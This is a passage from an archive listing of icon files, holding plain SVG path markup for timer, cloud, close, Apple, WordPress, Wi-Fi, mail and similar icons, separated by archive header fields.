96c-70 0-127.8 59.7-127.8 130.8 0 4.3.3 8.6.8 12.8-43.2 3.9-77 44-77 88.4 0 47 37.9 88 84.6 88h257.8c58.3 0 105.6-49.4 105.6-108s-47.3-108.8-105.6-108.8c-2.3 0-4.8-.2-7.2-.2-2.1 0-4.2 0-6.1.1C349.3 145.6 306 96 236 96z"/></svg>collection/icon/svg/ios-timer.svg000064400000001074151701353760013071 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 456c-110.3 0-200-89.7-200-200 0-54.8 21.7-105.9 61.2-144 6.4-6.2 16.6-6 22.7.4 6.2 6.4 6 16.6-.4 22.7-33.1 32-51.3 74.9-51.3 120.9 0 92.5 75.3 167.8 167.8 167.8S423.8 348.5 423.8 256c0-87.1-66.7-159-151.8-167.1v62.6c0 8.9-7.2 16.1-16.1 16.1s-16.1-7.2-16.1-16.1V72.1c0-8.9 7.2-16.1 16.1-16.1 110.3 0 200 89.7 200 200S366.3 456 256 456z"/><path d="M175.9 161.9l99.5 71.5c13.5 9.7 16.7 28.5 7 42s-28.5 16.7-42 7c-2.8-2-5.2-4.4-7-7l-71.5-99.5c-3.2-4.5-2.2-10.8 2.3-14 3.6-2.6 8.3-2.4 11.7 0z"/></svg>collection/icon/svg/md-timer.svg000064400000001231151701353760012672 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M232.9 371.6c0 12.7 10.4 23.1 23.1 23.1s23.1-10.4 23.1-23.1c0-12.7-10.4-23.1-23.1-23.1s-23.1 10.3-23.1 23.1zm0-323.6v92.4h46.2V96.1c78.3 11.3 138.7 78.3 138.7 159.9 0 89.4-72.3 161.8-161.8 161.8S94.2 345.4 94.2 256c0-38.8 13.6-74.4 36.5-102.2L256 279.1l32.6-32.6L131.4 89.4v.5C80.8 127.7 48 187.8 48 256c0 114.9 92.9 208 208 208 114.9 0 208-93.1 208-208S370.9 48 256 48h-23.1zm161.8 208c0-12.7-10.4-23.1-23.1-23.1-12.7 0-23.1 10.4-23.1 23.1s10.4 23.1 23.1 23.1c12.7 0 23.1-10.4 23.1-23.1zm-277.4 0c0 12.7 10.4 23.1 23.1 23.1s23.1-10.4 23.1-23.1-10.4-23.1-23.1-23.1-23.1 10.4-23.1 23.1z"/></svg>collection/icon/svg/logo-apple.svg000064400000001037151701353760013217 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M333.6 153.9c-33.6 0-47.8 16.5-71.2 16.5-24 0-42.3-16.4-71.4-16.4-28.5 0-58.9 17.9-78.2 48.4-27.1 43-22.5 124 21.4 193 15.7 24.7 36.7 52.4 64.2 52.7h.5c23.9 0 31-16.1 63.9-16.3h.5c32.4 0 38.9 16.2 62.7 16.2h.5c27.5-.3 49.6-31 65.3-55.6 11.3-17.7 15.5-26.6 24.2-46.6-63.5-24.8-73.7-117.4-10.9-152.9-19.2-24.7-46.1-39-71.5-39z"/><path d="M326.2 64c-20 1.4-43.3 14.5-57 31.6-12.4 15.5-22.6 38.5-18.6 60.8h1.6c21.3 0 43.1-13.2 55.8-30.1 12.3-16.1 21.6-38.9 18.2-62.3z"/></svg>collection/icon/svg/ios-close-circle-outline.svg000064400000001172151701353760015771 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M331.3 308.7L278.6 256l52.7-52.7c6.2-6.2 6.2-16.4 0-22.6-6.2-6.2-16.4-6.2-22.6 0L256 233.4l-52.7-52.7c-6.2-6.2-15.6-7.1-22.6 0-7.1 7.1-6 16.6 0 22.6l52.7 52.7-52.7 52.7c-6.7 6.7-6.4 16.3 0 22.6 6.4 6.4 16.4 6.2 22.6 0l52.7-52.7 52.7 52.7c6.2 6.2 16.4 6.2 22.6 0 6.3-6.2 6.3-16.4 0-22.6z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/logo-wordpress.svg000064400000002236151701353760014150 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M259 271.3L226.2 367h-.1l-25.4 73.1c1.8.5 3.5.9 5.3 1.4h.3c15.8 4.2 32.4 6.5 49.5 6.5 8.5 0 16.8-.5 24.9-1.8 11.2-1.4 22-3.8 32.5-7.1 2.6-.8 5.2-1.7 7.8-2.6-2.8-6-8.8-19.3-9.1-19.9L259 271.3zM80.8 180.5C70.8 203.1 64 230.9 64 256c0 6.3.3 12.6.9 18.8 6.9 71.2 52.9 131 116.1 157.9 2.6 1.1 5.3 2.2 8 3.2L96 180.6c-8-.3-9.5.2-15.2-.1z"/><path d="M430.2 175.4c-4.3-9.3-9.4-18.2-15.1-26.6-1.6-2.4-3.4-4.8-5.1-7.2-21.5-28.8-50.8-51.4-84.9-64.6-21.4-8.4-44.8-13-69.2-13-60.3 0-114.2 28-149.4 71.7-6.5 8-12.3 16.6-17.5 25.6 14.2.1 31.8.1 33.8.1 18.1 0 46-2.2 46-2.2 9.4-.6 10.4 13.1 1.1 14.2 0 0-9.4 1.1-19.8 1.6L213 362l37.8-113.3-26.8-73.6c-9.4-.5-18.1-1.6-18.1-1.6-9.4-.5-8.2-14.8 1-14.2 0 0 28.5 2.2 45.5 2.2 18.1 0 46-2.2 46-2.2 9.3-.6 10.5 13.1 1.1 14.2 0 0-9.3 1.1-19.7 1.6l62.3 185.6 17.3-57.6c8.7-22.4 13.1-40.9 13.1-55.7 0-21.3-7.7-36.1-14.3-47.6-8.7-14.3-16.9-26.3-16.9-40.4 0-15.9 12-30.7 29-30.7h2.2c26.2-.7 34.8 25.3 35.9 43v.6c.4 7.2.1 12.5.1 18.8 0 17.4-3.3 37.1-13.1 61.8l-39 112.8-22.3 65.7c1.8-.8 3.5-1.6 5.3-2.5 56.7-27.4 98-82 106.7-146.7 1.3-8.5 1.9-17.2 1.9-26 0-28.9-6.4-56.3-17.8-80.8z"/></svg>collection/icon/svg/ios-heart-half.svg000064400000001034151701353760013760 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 56h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-61.9.6-112 50.9-112 113 0 37 16.2 89.5 47.8 132.7C156 384 256 456 256 456s100-72 160.2-154.3C447.8 258.5 464 206 464 169c0-62.1-50.1-112.4-112-113zm41.6 229.2C356.4 336 302.2 383.6 269 410.5c-5.2 4.2-13 .5-13-6.2V198.6c0-26.8 8.5-52.7 23.3-75 .1-.1.1-.2.2-.2 7.7-11.8 18.2-21.6 30.4-28.5 12.6-7.1 26.8-10.8 41.1-10.8h.9c22.5.2 43.7 9.1 59.6 25.1 15.9 16 24.6 37.3 24.6 59.8-.1 29-13.2 76.1-42.5 116.2z"/></svg>collection/icon/svg/ios-close.svg000064400000000636151701353760013061 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M278.6 256l68.2-68.2c6.2-6.2 6.2-16.4 0-22.6-6.2-6.2-16.4-6.2-22.6 0L256 233.4l-68.2-68.2c-6.2-6.2-16.4-6.2-22.6 0-3.1 3.1-4.7 7.2-4.7 11.3 0 4.1 1.6 8.2 4.7 11.3l68.2 68.2-68.2 68.2c-3.1 3.1-4.7 7.2-4.7 11.3 0 4.1 1.6 8.2 4.7 11.3 6.2 6.2 16.4 6.2 22.6 0l68.2-68.2 68.2 68.2c6.2 6.2 16.4 6.2 22.6 0 6.2-6.2 6.2-16.4 0-22.6L278.6 256z"/></svg>collection/icon/svg/md-cloudy.svg000064400000000643151701353760013057 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M123.4 183c.4-.1.8-.1 1.2-.2-.5.1-.8.2-1.2.2z"/><path d="M393.2 219.2C380.5 154.6 323.9 106 256 106c-39.7 0-76 14-100.9 45.4 34.3 2.6 66.1 15.2 90.7 39.8 18.2 18.2 31 40.5 37.4 64.8h-33.5c-15.3-43.7-56-75-105.7-75-6 0-14.3.7-20.6 2C70 194 32 238.4 32 293.5 32 355.6 82.2 406 144 406h242.7c51.5 0 93.3-42 93.3-93.8 0-49.4-38.3-89.6-86.8-93z"/></svg>collection/icon/svg/md-help.svg000064400000000357151701353760012512 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M289 448h-66v-65h66v65zm-1-98h-64c0-101 96-95.1 96-159 0-35.2-28.8-63.4-64-63.4S192 158 192 192h-64c0-71 57.3-128 128-128s128 56.4 128 127c0 79.9-96 89-96 159z"/></svg>collection/icon/svg/md-arrow-round-back.svg000064400000000504151701353760014731 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M401.4 224h-214l83-79.4c11.9-12.5 11.9-32.7 0-45.2s-31.2-12.5-43.2 0L89 233.4c-6 5.8-9 13.7-9 22.4v.4c0 8.7 3 16.6 9 22.4l138.1 134c12 12.5 31.3 12.5 43.2 0 11.9-12.5 11.9-32.7 0-45.2l-83-79.4h214c16.9 0 30.6-14.3 30.6-32 .1-18-13.6-32-30.5-32z"/></svg>collection/icon/svg/ios-cloud-upload.svg000064400000001062151701353760014336 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 165.8C429 90.6 365.4 32 288 32c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 177.5 0 216.5 0 257.5 0 307.7 40.7 352 90.9 352H243V210.1l-47.9 47.2c-5.1 5-13.3 5-18.4-.1-5-5.1-5-13.3.1-18.4l70-69c1.2-1.1 2.5-2.1 4.1-2.7 1.6-.7 3.3-1 5-1 3.4 0 6.6 1.3 9.1 3.7l70 69c5.1 5 5.2 13.3.1 18.4-5 5.1-13.3 5.2-18.4.1L269 210.1V352h152.1c50.2 0 90.9-44.3 90.9-94.5 0-44.7-32.3-84.1-74.9-91.7zM243 467c0 7.2 5.8 13 13 13s13-5.8 13-13V352h-26v115z"/></svg>collection/icon/svg/ios-mic-off.svg000064400000001375151701353760013275 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.8 464c-4.9 0-9.7-2.5-12.3-7L129.9 69.3c-4-6.7-1.7-15.4 5.1-19.3 6.8-3.9 15.5-1.7 19.5 5.1l227.6 387.7c4 6.7 1.7 15.4-5.1 19.3-2.3 1.3-4.8 1.9-7.2 1.9zM320 272V112c0-35.2-28.8-64-64-64-28.4 0-52.6 18.8-60.9 44.5L315 296.8c3.2-7.6 5-16 5-24.8zM192 272c0 35.2 28.8 64 64 64 3.9 0 7.6-.4 11.3-1L192 206.6V272zM366 275v-69c0-7.7-6.3-14-14-14s-14 6.3-14 14v69c0 15.2-4.2 29.4-11.4 41.6l15.6 26.6c14.9-18.7 23.8-42.4 23.8-68.2z"/><path d="M256 357c-45.2 0-82-36.8-82-82v-69c0-7.7-6.3-14-14-14s-14 6.3-14 14v69c0 55.9 41.9 102.2 96 109.1V436h-36c-7.7 0-14 6.3-14 14s6.3 14 14 14h100c7.7 0 14-6.3 14-14s-6.3-14-14-14h-36v-51.9c7.9-1 15.6-2.9 22.9-5.5l-14.5-24.8c-7.1 2.1-14.6 3.2-22.4 3.2z"/></svg>collection/icon/svg/ios-play.svg000064400000000301151701353760012706 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 104.3v303.4c0 6.4 6.5 10.4 11.7 7.2l240.5-151.7c5.1-3.2 5.1-11.1 0-14.3L139.7 97.2c-5.2-3.3-11.7.7-11.7 7.1z"/></svg>collection/icon/svg/md-headset.svg000064400000000434151701353760013173 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C150 48 64 136.2 64 245.1v153.3c0 36.3 28.6 65.7 64 65.7h64V288h-85.3v-42.9c0-84.7 66.8-153.3 149.3-153.3s149.3 68.5 149.3 153.3V288H320v176h64c35.4 0 64-29.3 64-65.7V245.1C448 136.2 362 48 256 48z"/></svg>collection/icon/svg/ios-move.svg000064400000001537151701353760012723 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M475.9 246.2l-79.4-79.4c-5.4-5.4-14.2-5.4-19.6 0l-.2.2c-5.4 5.4-5.4 14.2 0 19.6l54.9 54.9-161.8.5.5-161.8 54.9 54.9c5.4 5.4 14.2 5.4 19.6 0l.2-.2c5.4-5.4 5.4-14.2 0-19.6l-79.4-79.4c-5.4-5.4-14.2-5.4-19.6 0l-79.4 79.4c-5.4 5.4-5.4 14.2 0 19.6l.2.2c5.4 5.4 14.2 5.4 19.6 0l54.9-54.9.5 161.8-161.8-.5 54.9-54.9c5.4-5.4 5.4-14.2 0-19.6l-.2-.2c-5.4-5.4-14.2-5.4-19.6 0l-79.4 79.4c-5.4 5.4-5.4 14.2 0 19.6l79.4 79.4c5.4 5.4 14.2 5.4 19.6 0l.2-.2c5.4-5.4 5.4-14.2 0-19.6L80 270.5l161.8-.5-.5 161.8-54.9-54.9c-5.4-5.4-14.2-5.4-19.6 0l-.2.2c-5.4 5.4-5.4 14.2 0 19.6l79.4 79.4c5.4 5.4 14.2 5.4 19.6 0l79.4-79.4c5.4-5.4 5.4-14.2 0-19.6l-.2-.2c-5.4-5.4-14.2-5.4-19.6 0l-54.9 54.9-.5-161.8 161.8.5-54.9 54.9c-5.4 5.4-5.4 14.2 0 19.6l.2.2c5.4 5.4 14.2 5.4 19.6 0l79.4-79.4c5.5-5.4 5.5-14.2 0-19.6z"/></svg>collection/icon/svg/logo-yahoo.svg000064400000000414151701353760013233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384.6 68.4c-11.3 0-22.5-.8-32.6-4.4l-96 160-96-160c-10.1 3.6-20.7 4.4-32 4.4-11.1 0-22.1-.9-32-4.4l128 212.7V448c10-3.5 20.8-4.4 32-4.4s22 .9 32 4.4V277L416 64c-9.9 3.4-20.3 4.4-31.4 4.4z"/></svg>collection/icon/svg/ios-stopwatch.svg000064400000001316151701353760013764 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M415.9 143.7c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.1 3.1-8.2 0-11.3L413 95.6c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l25.5 25.5zM84.8 143.7c3.1 3.1 8.2 3.1 11.3 0l25.5-25.5c3.1-3.1 3.1-8.2 0-11.3l-11.3-11.3c-3.1-3.1-8.2-3.1-11.3 0L73.5 121c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.4z"/><path d="M280 81.5V64c0-8.8-7.2-16-16-16h-16c-8.8 0-16 7.2-16 16v17.5C137.3 93.3 64 174.1 64 272c0 106 86 192 192 192s192-86 192-192c0-97.9-73.3-178.7-168-190.5zm-10 219.3V320c0 7.7-6.3 14-14 14s-14-6.3-14-14v-19.2c-10.7-5.2-18-16.1-18-28.8s7.3-23.6 18-28.8V144c0-7.7 6.3-14 14-14s14 6.3 14 14v99.2c10.7 5.2 18 16.1 18 28.8s-7.3 23.6-18 28.8z"/></svg>collection/icon/svg/md-cloud-outline.svg000064400000000723151701353760014342 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.001 217.001C388.997 148.002 328.998 96 256 96c-57.998 0-107.999 32.998-132.997 81C63.002 183.002 16 233.998 16 296c0 65.996 54.004 120 120 120h260c55 0 100-45 100-100.001 0-52.997-40.997-95.999-92.999-98.998zM396 376H136c-44.004 0-80-35.996-80-80 0-44 35.996-80 80-80h14.004c12.998-46 55-80 105.996-80 60.996 0 110 49 110 110v10h30c32.998 0 60 27.003 60 60 0 32.998-27.002 60-60 60z"/></svg>collection/icon/svg/logo-octocat.svg000064400000002760151701353760013556 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M178.4 287.5c-9.1 0-16.9 4.2-23.2 12.8-6.3 8.5-9.4 19-9.4 31.4 0 12.5 3.2 23 9.4 31.5 6.3 8.5 14 12.8 23.2 12.8 8.5 0 15.9-4.3 22.1-12.8 6.3-8.5 9.4-19 9.4-31.5 0-12.4-3.2-22.9-9.4-31.4-6.3-8.6-13.6-12.8-22.1-12.8zM334.7 287.5c-9 0-16.9 4.2-23.2 12.8-6.3 8.5-9.4 19-9.4 31.4 0 12.5 3.2 23 9.4 31.5 6.3 8.5 14.1 12.8 23.2 12.8 8.5 0 15.9-4.3 22.2-12.8 6.3-8.5 9.4-19 9.4-31.5 0-12.4-3.2-22.9-9.4-31.4-6.3-8.6-13.6-12.8-22.2-12.8z"/><path d="M445.8 172c-.1 0 2.7-14.3.3-39.2-2.2-24.9-7.5-47.8-16.1-68.8 0 0-4.4.8-12.8 2.9s-22.1 6.3-40.9 14.8c-18.5 8.5-38 19.8-58.3 33.5-13.8-3.9-34.4-5.9-62-5.9-26.3 0-46.9 2-62 5.9-44.6-30.9-81.9-48-112.1-51.2-8.6 21-13.9 44-16 69-2.4 24.9.4 39.3.4 39.3C42 198.6 32 236.5 32 267.8c0 24.2.7 46.1 6.1 65.5 5.6 19.3 12.7 35.1 21.1 47.2 8.6 12.1 19 22.8 31.6 31.9 12.5 9.3 24 16 34.4 20.2 10.5 4.4 22.4 7.6 36 9.9 13.3 2.4 23.4 3.6 30.5 4 0 0 28 1.5 64.4 1.5s64.3-1.5 64.3-1.5c7-.4 17.1-1.6 30.5-4 13.5-2.3 25.5-5.6 35.9-9.9 10.4-4.3 21.9-10.9 34.5-20.2 12.5-9 22.9-19.7 31.5-31.9 8.4-12.1 15.5-27.9 21.1-47.2 5.5-19.4 6.1-41.4 6.1-65.6 0-30.3-10-68.7-34.2-95.7zm-65.4 233.6c-27.9 13.1-68.9 18.4-123.3 18.4H255c-54.4 0-95.4-5.2-122.8-18.4-27.5-13.1-41.3-40.1-41.3-80.7 0-24.3 8.6-44 25.5-59.1 7.4-6.5 16.4-11 27.6-13.7 11.1-2.6 21.4-2.8 31-2.5 9.4.4 22.6 2.2 39.3 3.5 16.8 1.3 29.3 3 41.8 3 11.7 0 27.2-2 52.1-4 25-2 43.5-3 55.5-1 12.3 2 23 6.2 32.1 14.7 17.7 15.8 26.6 35.5 26.6 59.1-.1 40.6-14.2 67.6-42 80.7z"/></svg>collection/icon/svg/ios-pause.svg000064400000000446151701353760013070 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M199.9 416h-63.8c-4.5 0-8.1-3.6-8.1-8V104c0-4.4 3.6-8 8.1-8h63.8c4.5 0 8.1 3.6 8.1 8v304c0 4.4-3.6 8-8.1 8zM375.9 416h-63.8c-4.5 0-8.1-3.6-8.1-8V104c0-4.4 3.6-8 8.1-8h63.8c4.5 0 8.1 3.6 8.1 8v304c0 4.4-3.6 8-8.1 8z"/></svg>collection/icon/svg/ios-bookmark.svg000064400000000340151701353760013551 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 80v380c0 3.3 3.8 5.2 6.4 3.2l116.8-92c2.9-2.1 6.8-2.1 9.6 0l116.8 92c2.6 2 6.4.1 6.4-3.2V80c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32z"/></svg>collection/icon/svg/ios-resize.svg000064400000000651151701353760013252 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M418.3 80H307.8c-7.5 0-13.7 6.1-13.7 13.7v.2c0 7.5 6.1 13.7 13.7 13.7h76.5L107.6 384.3v-76.5c0-7.5-6.1-13.7-13.7-13.7h-.2c-7.5 0-13.7 6.1-13.7 13.7v110.5c0 7.5 6.1 13.7 13.7 13.7h110.5c7.5 0 13.7-6.1 13.7-13.7v-.2c0-7.5-6.1-13.7-13.7-13.7h-76.5l276.7-276.7v76.5c0 7.5 6.1 13.7 13.7 13.7h.2c7.5 0 13.7-6.1 13.7-13.7V93.7c0-7.6-6.1-13.7-13.7-13.7z"/></svg>collection/icon/svg/md-pin.svg000064400000000505151701353760012343 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c-88.004 0-160 70.557-160 156.801C96 306.4 256 480 256 480s160-173.6 160-291.199C416 102.557 344.004 32 256 32zm0 212.801c-31.996 0-57.144-24.645-57.144-56 0-31.357 25.147-56 57.144-56s57.144 24.643 57.144 56c0 31.355-25.148 56-57.144 56z"/></svg>collection/icon/svg/md-infinite.svg000064400000001433151701353760013363 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.7 188c-18.8-18-43.8-28-70.5-28-26.6 0-51.6 9.9-70.4 27.9l-17.6 15.9 33.1 32.1 17-15.4.1-.1c10.1-9.6 23.5-15 37.7-15 14.2 0 27.6 5.3 37.7 14.9 10 9.6 15.4 22.3 15.4 35.8 0 13.5-5.5 26.1-15.4 35.6-10.1 9.6-23.5 15-37.7 15s-27.6-5.3-37.7-14.9L218.2 188c-18.9-18-43.9-28-70.4-28-26.7 0-51.7 9.9-70.5 28C58.4 206.1 48 230.2 48 256c0 25.7 10.4 49.9 29.3 68 18.8 18 43.8 28 70.5 28 26.7 0 51.7-9.9 70.4-28l37.8-36.1 37.7 36.1c18.9 18 43.9 28 70.4 28 26.7 0 51.7-9.9 70.4-27.9 19-18.1 29.4-42.2 29.4-68 .1-25.8-10.3-50-29.2-68.1zM185.5 291.7c-10.1 9.6-23.5 15-37.7 15-14.2 0-27.6-5.3-37.7-14.9-10-9.6-15.4-22.3-15.4-35.8 0-13.5 5.5-26.1 15.4-35.6 10.1-9.6 23.5-15 37.7-15 14.2 0 27.6 5.3 37.7 14.9l37.4 35.8-37.4 35.6z"/></svg>collection/icon/svg/logo-xing.svg000064400000000476151701353760013071 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M313.8 303.9L469 32H365L209.4 303.8c-.4.7-.4 1.1 0 1.7l98.9 173.8c.4.7.8.7 1.6.7H413l-99.3-174.7c-.2-.3-.1-1 .1-1.4zM221.9 216.2L163 113c-.5-.8-1-1-2-1H65l58.9 104.4c.1.2.2.6.1.8L43 352h96.8c.8 0 1.2-.2 1.6-.9l80.5-133.7c.1-.3.1-.9 0-1.2z"/></svg>collection/icon/svg/md-cube.svg000064400000001305151701353760012472 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M467.3 168.1c-1.8 0-3.5.3-5.1 1l-177.6 92.1h-.1c-7.6 4.7-12.5 12.5-12.5 21.4v185.9c0 6.4 5.6 11.5 12.7 11.5 2.2 0 4.3-.5 6.1-1.4.2-.1.4-.2.5-.3L466 385.6l.3-.1c8.2-4.5 13.7-12.7 13.7-22.1V179.6c0-6.4-5.7-11.5-12.7-11.5zM454.3 118.5L272.6 36.8S261.9 32 256 32c-5.9 0-16.5 4.8-16.5 4.8L57.6 118.5s-8 3.3-8 9.5c0 6.6 8.3 11.5 8.3 11.5l185.5 97.8c3.8 1.7 8.1 2.6 12.6 2.6 4.6 0 8.9-1 12.7-2.7l185.4-97.9s7.5-4 7.5-11.5c.1-6.3-7.3-9.3-7.3-9.3zM227.5 261.2L49.8 169c-1.5-.6-3.3-1-5.1-1-7 0-12.7 5.1-12.7 11.5v183.8c0 9.4 5.5 17.6 13.7 22.1l.2.1 174.7 92.7c1.9 1.1 4.2 1.7 6.6 1.7 7 0 12.7-5.2 12.7-11.5V282.6c.1-8.9-4.9-16.8-12.4-21.4z"/></svg>collection/icon/svg/md-cellular.svg000064400000000146151701353760013361 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 448h384V64L64 448z"/></svg>collection/icon/svg/md-wifi.svg000064400000001614151701353760012515 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 228.719c-22.879 0-41.597 18.529-41.597 41.18 0 22.652 18.718 41.182 41.597 41.182 22.878 0 41.597-18.529 41.597-41.182 0-22.651-18.719-41.18-41.597-41.18zm124.8 41.179c0-67.946-56.163-123.539-124.8-123.539s-124.8 55.593-124.8 123.539c0 45.303 24.961 85.447 62.396 107.072l20.807-36.032c-24.972-14.417-41.604-40.153-41.604-71.04 0-45.295 37.433-82.358 83.201-82.358 45.771 0 83.201 37.063 83.201 82.358 0 30.887-16.633 56.623-41.604 71.04l20.807 36.032c37.433-21.624 62.396-61.769 62.396-107.072zM256 64C141.597 64 48 156.654 48 269.898 48 346.085 89.592 411.968 152 448l20.799-36.032c-49.919-28.824-83.207-81.324-83.207-142.069 0-90.593 74.891-164.718 166.408-164.718 91.517 0 166.406 74.125 166.406 164.718 0 60.745-33.284 114.271-83.205 142.069L360 448c62.406-36.032 104-101.915 104-178.102C464 156.654 370.403 64 256 64z"/></svg>collection/icon/svg/md-arrow-up.svg000064400000000263151701353760013332 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.375 427V167.296l119.702 119.702L427 256 256 85 85 256l29.924 29.922 119.701-118.626V427h42.75z"/></svg>collection/icon/svg/md-build.svg000064400000000475151701353760012662 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M474.1 398.2L289.1 212c18.3-47 8.1-102.3-30.5-141.1C217.9 30 156.9 21.8 108.1 44.3l87.4 88-61 61.4-89.5-88c-24.3 49-14.1 110.4 26.5 151.3 38.6 38.9 93.5 49.1 140.3 30.7l185 186.2c8.1 8.2 20.3 8.2 28.5 0l46.8-47c10.2-8.3 10.2-22.6 2-28.7z"/></svg>collection/icon/svg/ios-camera.svg000064400000001133151701353760013175 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="256" cy="275" r="57.5"/><path d="M417.5 160H363c-4.6 0-8.9-2-12-5.4-28.4-31.8-39.1-42.6-50.7-42.6h-85.5c-11.7 0-23.2 10.8-51.7 42.7-3 3.4-7.4 5.3-11.9 5.3h-4.1v-8c0-4.4-3.6-8-8-8h-26c-4.4 0-8 3.6-8 8v8h-7.5C79.9 160 64 173.2 64 190.7v176c0 17.5 15.9 33.3 33.5 33.3h320c17.6 0 30.5-15.8 30.5-33.3v-176c0-17.5-12.9-30.7-30.5-30.7zM260 360.4c-50.3 2.3-91.7-39.1-89.4-89.4 2-43.9 37.5-79.4 81.4-81.4 50.3-2.3 91.7 39.1 89.4 89.4-2 43.9-37.5 79.4-81.4 81.4zM352 218c-7.2 0-13-5.8-13-13s5.8-13 13-13 13 5.8 13 13-5.8 13-13 13z"/></svg>collection/icon/svg/ios-mail.svg000064400000001253151701353760012672 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M460.6 147.3L353 256.9c-.8.8-.8 2 0 2.8l75.3 80.2c5.1 5.1 5.1 13.3 0 18.4-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8l-75-79.9c-.8-.8-2.1-.8-2.9 0L313.7 297c-15.3 15.5-35.6 24.1-57.4 24.2-22.1.1-43.1-9.2-58.6-24.9l-17.6-17.9c-.8-.8-2.1-.8-2.9 0l-75 79.9c-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8c-5.1-5.1-5.1-13.3 0-18.4l75.3-80.2c.7-.8.7-2 0-2.8L51.4 147.3c-1.3-1.3-3.4-.4-3.4 1.4V368c0 17.6 14.4 32 32 32h352c17.6 0 32-14.4 32-32V148.7c0-1.8-2.2-2.6-3.4-1.4z"/><path d="M256 295.1c14.8 0 28.7-5.8 39.1-16.4L452 119c-5.5-4.4-12.3-7-19.8-7H79.9c-7.5 0-14.4 2.6-19.8 7L217 278.7c10.3 10.5 24.2 16.4 39 16.4z"/></svg>collection/icon/svg/ios-information-circle.svg000064400000000442151701353760015533 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm19 304h-38.2V207.9H275V352zm-19.1-159.8c-11.3 0-20.5-8.6-20.5-20s9.3-19.9 20.5-19.9c11.4 0 20.7 8.5 20.7 19.9s-9.3 20-20.7 20z"/></svg>collection/icon/svg/logo-pinterest.svg000064400000001406151701353760014133 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C132.3 32 32 132.3 32 256c0 91.7 55.2 170.5 134.1 205.2-.6-15.6-.1-34.4 3.9-51.4 4.3-18.2 28.8-122.1 28.8-122.1s-7.2-14.3-7.2-35.4c0-33.2 19.2-58 43.2-58 20.4 0 30.2 15.3 30.2 33.6 0 20.5-13.1 51.1-19.8 79.5-5.6 23.8 11.9 43.1 35.4 43.1 42.4 0 71-54.5 71-119.1 0-49.1-33.1-85.8-93.2-85.8-67.9 0-110.3 50.7-110.3 107.3 0 19.5 5.8 33.3 14.8 43.9 4.1 4.9 4.7 6.9 3.2 12.5-1.1 4.1-3.5 14-4.6 18-1.5 5.7-6.1 7.7-11.2 5.6-31.3-12.8-45.9-47-45.9-85.6 0-63.6 53.7-139.9 160.1-139.9 85.5 0 141.8 61.9 141.8 128.3 0 87.9-48.9 153.5-120.9 153.5-24.2 0-46.9-13.1-54.7-27.9 0 0-13 